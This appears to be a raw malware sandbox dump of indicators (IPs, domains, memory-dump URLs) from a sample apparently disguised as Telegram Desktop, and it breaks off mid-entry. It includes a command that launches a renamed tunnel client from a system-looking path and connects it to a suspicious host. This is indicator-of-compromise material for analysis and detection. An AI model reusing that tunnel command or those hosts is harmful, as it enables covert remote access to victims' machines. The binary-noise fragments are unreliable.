Mozilla/5.0tÃpcÕ»j(xF`Q×yÖ,Èç¦ºZ£w[w>eÒÛüdÊ;ú", Potential IP "149.154.175.54" found in string "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 68Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0°cÍ6Õ»j0xF`ç2î(_j·L$×ÉÝjßC$ØÑV°ËE.;·Z1Uz", Potential IP "149.154.167.51" found in string "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 52Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0,SYÕ»j xF`g+õ1EO9 »ªÊðªÙ©Ìß¤", Potential IP "149.154.167.51" found in string "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0HêñF-Õ»j,xF`3ttÁ×clgD°j÷Õªëòßð1÷Ôh®{ÈúcPª Æ", Potential IP "149.154.175.54" found in string "POST /api HTTP/1.1Host: 149.154.175.54:80Content-Type: application/x-www-form-urlencodedContent-Length: 56Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0¨4w6Õ»j$xF`9ÐìSÉë?:¶{á0+^?áOWþ5øÁT6", Potential IP "149.154.167.41" found in string "POST /api HTTP/1.1Host: 149.154.167.41:80Content-Type: application/x-www-form-urlencodedContent-Length: 64Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0¬;>Õ>Õ»j,xF`eOeyKðFêôy»î:>£ºI³G_å¢úÅcðÂT", Potential IP "149.154.167.51" found in string "POST /api HTTP/1.1Host: 149.154.167.51:80Content-Type: application/x-www-form-urlencodedContent-Length: 40Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0\ªobCÕ»jxF`§´ÇIÒEF«öx÷¯", Potential IP "149.154.167.41" found in string "POST /api HTTP/1.1Host: 149.154.167.41:80Content-Type: application/x-www-form-urlencodedContent-Length: 40Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0HjPÕ»jxF`D©~¬¿ç]+5¼º", Potential IP "149.154.167.41" found in string "POST /api HTTP/1.1Host: 149.154.167.41:80Content-Type: application/x-www-form-urlencodedContent-Length: 72Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0TLµeÕ»j4xF`ÕO SÑQ®Ôcº?H¹®ZKÞÐïâÌùS}-õ/5üb¿EÉ0xAK", Potential IP "149.154.167.41" found in string "POST /api HTTP/1.1Host: 149.154.167.41:80Content-Type: application/x-www-form-urlencodedContent-Length: 80Connection: Keep-AliveAccept-Encoding: gzip, deflateAccept-Language: en-US,*User-Agent: Mozilla/5.0ZËlÕ»jÑºU³`z«'Àiò¾t.áfD¬©?8_1>", Potential IP "127.0.0.1" found in string ""%ALLUSERSPROFILE%\Microsoft\System\System.exe" access tcp --url tcp://127.0.0.1:443 --hostname www.fergcvbt.com", "2.5.29.35", Potential IP "127.0.0.1" found in string "access tcp --url tcp://127.0.0.1:443 --hostname www.fergcvbt.com", "192.168.0.2", "7.0.2.0", "1.3.101.113", "1.3.101.110", "1.3.101.111", "1.3.101.112", "149.154.167.51", "95.161.76.100", "149.154.167.91", "149.154.175.100", "149.154.175.50", "149.154.171.5"5c:Tc32,Pattern match: "www.fergcvbt.com" Heuristic match: "k@}.tg" Heuristic match: "8*.ki" Heuristic match: "+z.sm" Heuristic match: ").sn" Heuristic match: "osj.bn" Pattern match: "pw.mo/drydl^~xprbej@&p~~,p~p,rnxsrodls~{pe!r@&,p~,p,pp000d3khc3?4;6m+k~',bdmcz`6dmodsrodcvb~k96jrd+dcs*@&~p,~,p~,2xky,s!umdkgx@&p~~,2x9~q6@&@&,~~pepwkdtn" Pattern match: "ftabjwcaiwdahwcaiwdaiwdaiwdahwcaiwdahwcahwcahwcaiwdahwcaiwdaiwdajvcaiwd.ftb.ftb.ftb.ftb.ftb.ftb.ftb.ftb.ftb.etb.etc.ftb.ftb.ftb.ftb.etb.ftb.ftb.ftb.ftb.ftb.ftb.ftb.ftb.ftb.ftb.ftb.ftb.ftb.ftb.ftb.ftb/q_jahwcaiwdaiwdaiwdahwcaiwdaiwdaiwdahwcaiwdahwcahwdahwca" Pattern match: "j.nj/6j&7pm$ax\!.dxwq" Pattern match: "ahu.bht/ahu/aht.bhv.a.q[t" Pattern match: "www...z---urrr+++o&&&cppp###[kkkakkk" Pattern match: "http://ocsp.globalsign.com/codesigningrootr450f:http://secure.globalsign.com/cacert/codesigningrootr45.crt0a:08060http://crl.globalsign.com/codesigningrootr45.crl0un0l0a0402&https://www.globalsign.com/repository/0jh4%bwf*=#" Pattern match: "https://td.telegram.org/" Pattern match: "https://jrsoftware.org/ishelp/index.php?topic=setupcmdline" Pattern match: "http://schemas.microsoft.com/smi/2005/windowssettings" Heuristic match: "mozilla.cloudflare-dns.com" Heuristic match: "td.telegram.org" Pattern match: "www.fergcvbt.comuser-agent" Heuristic match: "firebaseremoteconfig.googleapis.com" Heuristic match: "firestore.googleapis.com" Heuristic match: "google.ru" Pattern match: "www.dagfgwer.com" Pattern match: "www.gerwqcs.com" Pattern match: "https://desktop.telegram.org" Heuristic match: "tdesktop.tg" Heuristic match: "dns.google.com" Heuristic match: "google.com" Heuristic match: "system.activityhistory.id" Heuristic match: "system.identityprovider.name" Heuristic match: "system.sam.name" Heuristic match: "system.structuredquery.virtual.cc" Heuristic match: "system.structuredquery.virtual.to" Heuristic match: "system.structuredquery.is" Heuristic match: "system.protocol.name" Heuristic match: "system.appusermodel.id" Heuristic match: "system.structuredquerytype.implicit.is" Pattern match: "qt-project.org/qmime" Heuristic match: "7fzd9.kr" Pattern match: "http://www.microsoft.com/typography/fonts" Pattern match: "http://www.zhongyicts.com.cn" Pattern match: "www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmllicensed" Pattern match: "https://github.com/rastikerdar/vazirmatn" Pattern match: "http://www.microsoft.com/typography/fonts/normaalinorm" Pattern match: "http://ocsp.verisign.com0" Pattern match: "http://crl.verisign.com/tss-ca.crl0" Pattern match: "crl.verisign.com/thawtetimestampingca.crl0" Pattern match: "https://www.verisign.com/rpa" Pattern match: "https://www.verisign.com/cps0*" Pattern match: "https://www.verisign.com/rpa0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://ocsp.verisign.com01" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "csc3-2009-2-crl.verisign.com/csc3-2009-2.crl0d" Pattern match: "csc3-2009-2-aia.verisign.com/csc3-2009-2.cer0" Heuristic match: ".(.ly" Heuristic match: "z..be"5d:Tacd2,Found URL "http://www.microsoft.com/typography/fonts" - Source: "00000000-00002316.00000000.110315.273F0000.00000004.mdmp") Found URL "http://www.zhongyicts.com.cnend" - Source: "00000000-00002316.00000000.110315.273F0000.00000004.mdmp") Found URL "http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmllicensed" - Source: "00000000-00002316.00000000.110315.277E4000.00000004.mdmp") Found URL "http://www.apache.org/licenses/license-2.0" - Source: "00000000-00002316.00000000.110315.277E4000.00000004.mdmp") Found URL "https://github.com/rastikerdar/vazirmatn)vazirmatn" - Source: "00000000-00002316.00000000.110315.277E4000.00000004.mdmp") Found URL "https://github.com/davelab6/roboto-classicthis" - Source: "00000000-00002316.00000000.110315.277E4000.00000004.mdmp") Found URL "https://scripts.sil.org/oflhttps://scripts.sil.org/ofl&.6>fn46yzt??i$8>?defgv[]12679:bcwy03@axz\^(789:>?bcdefgv[]126wy03@axz\^1246yz01236789:>?@abcdefgvwxyz[\]^01236789:>?@abcdefgvwxyz[\]^dhst,,88ddppbbdhstdd&&&&22dd6fn46yzt??i$8>?defgv[]12679:bcwy03@axz\^(789:>?bcdefgv[]126wy03@axz\^1246yz01236789:>?@abcdefgvwxyz[\]^01236789:>?@abcdefgvwxyz[\]^dhst,,88ddppbbdhstdd&&&&22dd6entrust.net1@0>7www.entrust.net/cps_2048" - Source: "00000000-00002316.00000001.112236.2E4CF000.00000004.mdmp") Found URL "https://td.telegram.org/:\users\hapubws\appdata\roaming2d3468c1-36a7-43b6-ac24-d3f02fd9607a" - Source: "00000000-00002316.00000001.112236.2E607000.00000004.mdmp") Found URL "http://c.pki.goog/wy-236356893075616227624110519622398477259530153583.crl0" - Source: "00000000-00002316.00000001.112236.2E607000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crlmozilla.cloudflare-dns.comlobal" - Source: "00000000-00002316.00000001.112236.2E607000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crllt" - Source: "00000000-00002316.00000001.112236.2E607000.00000004.mdmp") Found URL "https://t.me/https://td.telegram.org/foursquarebingheaph!^gjh" - Source: "00000000-00002316.00000001.112236.2E607000.00000004.mdmp") Found URL "https://tonscan.org/stars_paid_message_amount_max&stars_paid_message_commission_permillestargifts_pinned_to_top_limitstars_paid_messages_available)bot_verification_description_length_limitconference_call_size_limit" - Source: "00000000-00002316.00000001.112236.2E607000.00000004.mdmp") Found URL "https://fragment.com/ads/topupstars_rating_learnmore_url8https://telegram.org/faq" - Source: "00000000-00002316.00000001.112236.2E607000.00000004.mdmp") Found URL "https://fragment.com/ads/topuplng_suggest_menu_edit_timelng_suggest_action_youradd" - Source: "00000000-00002316.00000001.112236.2E97B000.00000004.mdmp") Found URL "https://t.me/telegramtipslng_tag_info_edit_my_tagagree" - Source: "00000000-00002316.00000001.112236.2E97B000.00000004.mdmp") Found URL "https://telegram.org/privacy" - Source: "00000000-00002316.00000001.112236.2E9C5000.00000004.mdmp") Found URL "http://crl.godaddy.com/mitmproxy-236356893075616227624110519622398477259530153583.crl" - Source: "00000000-00002316.00000001.112236.2EA0C000.00000004.mdmp") Found URL "http://crl.godaddy.com/mitmproxy-236356893075616227624110519622398477259530153583.crllobal" - Source: "00000000-00002316.00000001.112236.2EA0C000.00000004.mdmp") Found URL "https://telegram.org/faq" - Source: "00000000-00002316.00000001.112236.2EA0C000.00000004.mdmp") Found URL "https://telegram.org/tos/affiliate-programlng_stealth_mode_enable_and_openlng_stealth_mode_enabled_tip_titlelng_stickers_box_edit_name_aboutlng_stickers_context_delete_packlng_stickers_context_delete_pack_everyoneemoji" - Source: "00000000-00002316.00000001.112236.2EA0C000.00000004.mdmp") Found URL "https://telegram.org/tos/starsalso" - Source: "00000000-00002316.00000001.112236.2EB4C000.00000004.mdmp") Found URL "https://telegram.org/tos/starsto" - Source: "00000000-00002316.00000001.112236.2EB4C000.00000004.mdmp") Found URL "https://telegram.org/tos/starschat" - Source: "00000000-00002316.00000001.112236.2EB4C000.00000004.mdmp") Found URL "https://telegram.org/privacy" - Source: "00000000-00002316.00000001.112236.2EC43000.00000004.mdmp") Found URL "https://fragment.com/ads/topuphttps://t.me/telegramtipshelp" - Source: "00000000-00002316.00000001.112236.2EC43000.00000004.mdmp") Found URL "http://149.154.167.51:80" - Source: "00000000-00002316.00000001.112236.2EC43000.00000004.mdmp") Found URL "http://149.154.167.41:80http://149.154.167.51:800zr.0183.crlmprop" - Source: "00000000-00002316.00000001.112236.2EC43000.00000004.mdmp") Found URL "http://crl.godaddy.com/mitmproxy-236356893075616227624110519622398477259530153583.crl0,a2@//c" - Source: "00000000-00002316.00000001.112236.302D0000.00000004.mdmp") Found URL "https://t.me/joinchat/cloud_filtersqjpegxlpluginqavifpluginheifpluginqoiplugins?ffffff@ffffff" - Source: "00000000-00002316.00000001.112236.E9450000.00000004.mdmp") Found URL "http://repository.swisssign.com/swisssign" - Source: "00000000-00002316.00000002.114156.274DE000.00000004.mdmp") Found URL "http://www.ascendercorp.com/http://www.ascendercorp.com/typedesigners.htmllicensed" - Source: "00000000-00002316.00000002.114156.277E4000.00000004.mdmp") Found URL "http://www.apache.org/licenses/license-2.0" - Source: "00000000-00002316.00000002.114156.277E4000.00000004.mdmp") Found URL "https://github.com/rastikerdar/vazirmatn)vazirmatn" - Source: "00000000-00002316.00000002.114156.277E4000.00000004.mdmp") Found URL "https://github.com/davelab6/roboto-classicthis" - Source: "00000000-00002316.00000002.114156.277E4000.00000004.mdmp") Found URL "https://scripts.sil.org/oflhttps://scripts.sil.org/ofl&.6>fn46yzt??i$8>?defgv[]12679:bcwy03@axz\^(789:>?bcdefgv[]126wy03@axz\^1246yz01236789:>?@abcdefgvwxyz[\]^01236789:>?@abcdefgvwxyz[\]^dhst,,88ddppbbdhstdd&&&&22dd6" - Source: "00000000-00002316.00000002.114156.2E4AD000.00000004.mdmp") Found URL "https://t.me/:\users\hapubws\videoshell" - Source: "00000000-00002316.00000002.114156.2E4CF000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0eq.net1@0>entrust.net1@0>7www.entrust.net/cps_2048" - Source: "00000000-00002316.00000002.114156.2E4CF000.00000004.mdmp") Found URL "https://td.telegram.org/:\users\hapubws\appdata\roaming2d3468c1-36a7-43b6-ac24-d3f02fd9607a" - Source: "00000000-00002316.00000002.114156.2E607000.00000004.mdmp") Found URL "http://c.pki.goog/wy-236356893075616227624110519622398477259530153583.crl0" - Source: "00000000-00002316.00000002.114156.2E607000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crlmozilla.cloudflare-dns.comlobal" - Source: "00000000-00002316.00000002.114156.2E607000.00000004.mdmp") Found URL "http://c.pki.goog/mitmproxy-236356893075616227624110519622398477259530153583.crllt" - Source: "00000000-00002316.00000002.114156.2E607000.00000004.mdmp") Found URL "https://t.me/https://td.telegram.org/foursquarebingheaph!^gjh" - Source: "00000000-00002316.00000002.114156.2E607000.00000004.mdmp") Found URL "https://tonscan.org/stars_paid_message_amount_max&stars_paid_message_commission_permillestargifts_pinned_to_top_limitstars_paid_messages_available)bot_verification_description_length_limitconference_call_size_limit" - Source: "00000000-00002316.00000002.114156.2E607000.00000004.mdmp") Found URL "https://fragment.com/ads/topupstars_rating_learnmore_url8https://telegram.org/faq" - Source: "00000000-00002316.00000002.114156.2E607000.00000004.mdmp") Found URL "https://fragment.com/ads/topuplng_suggest_menu_edit_timelng_suggest_action_youradd" - Source: "00000000-00002316.00000002.114156.2E97B000.00000004.mdmp") Found URL "https://t.me/telegramtipslng_tag_info_edit_my_tagagree" - Source: "00000000-00002316.00000002.114156.2E97B000.00000004.mdmp") Found URL "https://telegram.org/privacy" - Source: "00000000-00002316.00000002.114156.2E9C5000.00000004.mdmp") Found URL "http://crl.godaddy.com/mitmproxy-236356893075616227624110519622398477259530153583.crl" - Source: "00000000-00002316.00000002.114156.2EA0C000.00000004.mdmp") Found URL "http://crl.godaddy.com/mitmproxy-236356893075616227624110519622398477259530153583.crllobal" - Source: "00000000-00002316.00000002.114156.2EA0C000.00000004.mdmp") Found URL "https://telegram.org/faq" - Source: "00000000-00002316.00000002.114156.2EA0C000.00000004.mdmp") Found URL "https://telegram.org/tos/affiliate-programlng_stealth_mode_enable_and_openlng_stealth_mode_enabled_tip_titlelng_stickers_box_edit_name_aboutlng_stickers_context_delete_packlng_stickers_context_delete_pack_everyoneemoji" - Source: "00000000-00002316.00000002.114156.2EA0C000.00000004.mdmp") Found URL "https://telegram.org/tos/starsalso" - Source: "00000000-00002316.00000002.114156.2EB4C000.00000004.mdmp") Found URL "https://telegram.org/tos/starsto" - Source: "00000000-00002316.00000002.114156.2EB4C000.00000004.mdmp") Found URL "https://telegram.org/tos/starschat" - Source: "00000000-00002316.00000002.114156.2EB4C000.00000004.mdmp") Found URL "https://telegram.org/privacy" - Source: "00000000-00002316.00000002.114156.2EC43000.00000004.mdmp") Found URL "https://fragment.com/ads/topuphttps://t.me/telegramtipshelp" - Source: "00000000-00002316.00000002.114156.2EC43000.00000004.mdmp") Found URL "http://149.154.167.51:800p" - Source: "00000000-00002316.00000002.114156.2EC43000.00000004.mdmp") Found URL "http://149.154.175.54:80x-wwp" - Source: "00000000-00002316.00000002.114156.2EC97000.00000004.mdmp") Found URL "https://t.me/joinchat/cloud_filtersqjpegxlpluginqavifpluginheifpluginqoiplugins?ffffff@ffffff" - Source: "00000000-00002316.00000002.114156.E9450000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002804.00000000.106631.02FB0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002804.00000001.108553.02FB0000.00000004.mdmp") Found URL "http://ocsp.globalsign.com/codesigningrootr450f:http://secure.globalsign.com/cacert/codesigningrootr45.crt0a:08060http://crl.globalsign.com/codesigningrootr45.crl0un0l0a0402&https://www.globalsign.com/repository/0jh4%bwf*=" - Source: "00000000-00002804.00000001.108553.060FC000.00000004.mdmp") Found URL "http://secure.globalsign.com/cacert/gsgccr45evcodesignca2020.crt0?3http://ocsp.globalsign.com/gsgccr45evcodesignca20200un0l0a0402&https://www.globalsign.com/repository/0@0>0<6http://crl.globalsign.com/gsgccr45evcodesignca2020.crl0info@telegram.org0hcrf/$lz\mg" - Source: "00000000-00002804.00000001.108553.060FC000.00000004.mdmp") Found URL "https://sectigo.com/cps0jc0a0?9http://crl.sectigo.com/sectigopublictimestampingcar41.crl0zn0l0e9http://crt.sectigo.com/sectigopublictimestampingcar41.crt0" - Source: "00000000-00002804.00000001.108553.060FC000.00000004.mdmp") Found URL "http://ocsp.sectigo.com0y^[yu$b1sectigo" - Source: "00000000-00002804.00000001.108553.060FC000.00000004.mdmp") Found URL "http://crl.sectigo.com/sectigopublictimestampingrootr46.crl0" - Source: "00000000-00002804.00000001.108553.060FC000.00000004.mdmp") Found URL "http://crt.sectigo.com/sectigopublictimestampingrootr46.p7c0" - Source: "00000000-00002804.00000001.108553.060FC000.00000004.mdmp") Found URL "http://ocsp.sectigo.com0d+-l66v4qw'f%7rnew" - Source: "00000000-00002804.00000001.108553.060FC000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl05)0'0%http://ocsp.usertrust.com0avi&q_=&pduv\oz4" - Source: "00000000-00002804.00000001.108553.060FC000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002804.00000002.110470.02FB0000.00000004.mdmp") Found URL "http://www.gentee.comcompanynamethe" - Source: "00000000-00002804.00000002.110470.1000E000.00000002.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00002804.00000003.112165.02FB0000.00000004.mdmp") Found URL "https://162.159.36.1/dns-query" - Source: "00000000-00003244.00000000.112399.00000000.00000004.mdmp") Found URL "https://162.159.46.1/dns-query" - Source: "00000000-00003244.00000000.112399.00000000.00000004.mdmp") Found URL "https://[2606:4700:4700::1111]/dns-query" - Source: "00000000-00003244.00000000.112399.00000000.00000004.mdmp") Found URL "https://[2606:4700:4700::1001]/dns-query]wuuuuuuuuuuuueeeeeeuvuzuevz_uuy]siw8xn>&hj>8n" - Source: "00000000-00003244.00000000.112399.00000000.00000004.mdmp") Found URL "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/configuration/configuration-file/ingresslisten" - Source: "00000000-00003244.00000000.112399.00000000.00000004.mdmp") Found URL "https://github.com/urfave/cli/blob/master/docs/changelog.md" - Source: "00000000-00003244.00000000.112399.00000000.00000004.mdmp") Found URL "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/configuration/configuration-file/ingressdisables" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/configuration/configuration-file/ingressjbjc*_jcj%j/-x/q" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://162.159.46.1/dns-query" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://[2606:4700:4700::1111]/dns-query" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://[2606:4700:4700::1001]/dns-query]nd" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/configuration/configuration-file/ingressginrequest" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/configuration/configuration-file/ingressvalue" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/license)," - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://www.cloudflare.com/terms/)" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://www.cloudflare.com/privacypolicy/).(c)" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://www.cloudflare.com/privacypolicy/).specify" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/configuration/configuration-file/ingresshttp" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/configuration/configuration-file/ingresssets" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/configuration/configuration-file/ingresshostname" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/configuration/configuration-file/ingressspecify" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/configuration/configuration-file/ingress" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "http://ocsp.digicert.com0c7http://cacerts.digicert.com/digicertassuredidrootca.crt0e>0<0:4http://crl3.digicert.com/digicertassuredidrootca.crl0jz/-5fjitwz\t" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "http://ocsp.digicert.com0a5http://cacerts.digicert.com/digicerttrustedrootg4.crt0c<0:082http://crl3.digicert.com/digicerttrustedrootg4.crl0:" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "http://www.digicert.com/cps0mhttp://crl3.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0smhttp://crl4.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crl0http://ocsp.digicert.com0\phttp://cacerts.digicert.com/digicerttrustedg4codesigningrsa4096sha3842021ca1.crt0" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "http://ocsp.digicert.com0]qhttp://cacerts.digicert.com/digicerttrustedg4timestampingrsa4096sha2562025ca1.crt0_x0v0tnhttp://crl3.digicert.com/digicerttrustedg4timestampingrsa4096sha2562025ca1.crl0" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/configuration/configuration-file/ingressrjj)qujj))ujt)qujt)qrjj))ujj))ujj)qujj)qujj)qujj)qujf)ujj))ujt)qujt)qeyveyeyveyeyveyveyeyveyveyeyvey_uey\windows\system32\config\systemprofile\.cloudflared\windows\system32\config\systemprofile\.cloudflaredc:\windows\system32\config\systemprofile\.cloudflaredc:\windows\system32\config\systemprofile\.cloudflared\\windows\system32\config\systemprofile\.cloudflare-warp\windows\system32\config\systemprofile\.cloudflare-warpc:\windows\system32\config\systemprofile\.cloudflare-warpc:\windows\system32\config\systemprofile\.cloudflare-warp\\windows\system32\config\systemprofile\.cloudflare-warp\windows\system32\config\systemprofile\.cloudflare-warpc:\windows\system32\config\systemprofile\.cloudflare-warpc:\windows\system32\config\systemprofile\.cloudflare-warp\\windows\system32\config\systemprofile\cloudflare-warp\windows\system32\config\systemprofile\cloudflare-warpc:\windows\system32\config\systemprofile\cloudflare-warpc:\windows\system32\config\systemprofile\cloudflare-warp\\windows\system32\config\systemprofile\cloudflare-warp\windows\system32\config\systemprofile\cloudflare-warpc:\windows\system32\config\systemprofile\cloudflare-warpc:\windows\system32\config\systemprofile\cloudflare-warp\\windows\system32\config\systemprofile\.cloudflared\cert.pem\windows\system32\config\systemprofile\.cloudflared\cert.pemc:\windows\system32\config\systemprofile\.cloudflared\cert.pem\windows\system32\config\systemprofile\.cloudflare-warp\cert.pem\windows\system32\config\systemprofile\cloudflare-warp\cert.pem\windows\system32\config\systemprofile\cloudflare-warp\cert.pem--config" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/configuration/configuration-file/ingressuwwwwwwww]uuuuuuuuuwwuuuuuuuuuuu]uuuuuuuuuwwuuuuuuuuuuu]uuuuuuuuuwwuuuuuuuuuuu]uuuuuuuuuwwuuuuuuuuuuuuuwuu" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://www.fergcvbt.comautoupdate" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://www.fergcvbt.comservice-token-secretservice-token-secretservice-token-secretservice-token-secrettcp://127.0.0.1:4432026-09-29t16:45:00zstart" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://1.1.1.1/dns-query" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "https://1.0.0.1/dns-query]rjj))ujj))rjt)yjj)yjt)qujt)qrjt)qujj)qrjt))ujf)rjj))yjt))wwwwwvuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu8rc52333c:\windows\system32\config\systemprofile\.cloudflare-warp\cert.pemc:\windows\system32\config\systemprofile\cloudflare-warp\cert.pemy&<1eyuduhtuuua@uuuw]ueuyuuuuuuuuuuuuvuuuuuueuuprotocolprotocoloverwrite-dnsoverwrite-dnshelphelpversionversionhelphelpversionversionfedrampfedramphelphelpfedrampfedramphelphelphostnamehostnamettunnel-hosttunnel-hostdestinationdestinationlistenerlistenerheaderheader[][]service-token-idservice-token-idsecretsecretlogfilelogfilelog-levellog-directorylog-directorylog-levelloglevelloglevelconnect-toconnect-todebug-streamdebug-streamhelphelphostnamehostnamettunnel-hosttunnel-hostdestinationdestinationlistenerlistenerheaderheaderservice-token-idservice-token-idsecretsecretlogfilelogfilelog-directorylog-directorylog-levellog-levelloglevelloglevelconnect-toconnect-todebug-streamdebug-streamhelphelphostnamehostnametunnel-hosttunnel-hostdestinationdestinationlistenerlistenerlheaderheaderservice-token-idservice-token-idsecretsecretlogfilelogfilelog-levellog-directorylog-directorylog-levelloglevelloglevelconnect-toconnect-todebug-streamdebug-streamhelphelphostnamehostnamettunnel-hosttunnel-hostdestinationdestinationlistenerlistenerheaderheaderservice-token-idservice-token-idsecretsecretlogfilelogfilelog-directorylog-directorylog-levellog-levelloglevelloglevelconnect-toconnect-todebug-streamdebug-streamhelphelp127.0.0.1:443infolevelhosttime127.0.0.1:443messageinfhost=host=writefile127.0.0.1:443wsasocketwbindlistengetsocknameuueeeeueeeeeeeeeeeeeeeeeuuuuuuu[uuu533" - Source: "00000000-00003244.00000000.112399.00200000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003244.00000000.112399.95A70000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=zpmmguhfbojmnsjusvrg8hgce%2fy3jd3tdvamraxvxoqh4s6gewbpdzjsgy6cmygsop5ircbuj0%2ffidx3nxjea2zsammdd4yb7%2fd9bgxh3moygdjrzd4fa%2f8jm1cp9p2uhlb1" - Source: "00000000-00003244.00000001.114316.00400000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003244.00000001.114316.95A70000.00000004.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=247104.&click" - Source: "00000000-00003244.00000001.114316.DC0A0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=291337%@font-face" - Source: "00000000-00003244.00000001.114316.DC0A0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=291257the" - Source: "00000000-00003244.00000001.114316.DC0A0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=291257.the" - Source: "00000000-00003244.00000001.114316.DC0A0000.00000002.mdmp") Found URL "http://go.microsoft.com/fwlink/?linkid=291257.s'<0s>'" - Source: "00000000-00003244.00000001.114316.DC0A0000.00000002.mdmp") Found URL "http://www.w3.org/xml/1998/namespace" - Source: "00000000-00003244.00000001.114316.DC0A0000.00000002.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=zpmmguhfbojmnsjusvrg8hgce%2fy3jd3tdvamraxvxoqh4s6gewbpdzjsgy6cmygsop5ircbuj0%2ffidx3nxjea2zsammdd4yb7%2fd9bgxh3moygdjrzd4fa%2f8jm1cp9p2uhlb1" - Source: "00000000-00003244.00000002.116239.00400000.00000004.mdmp") Found URL 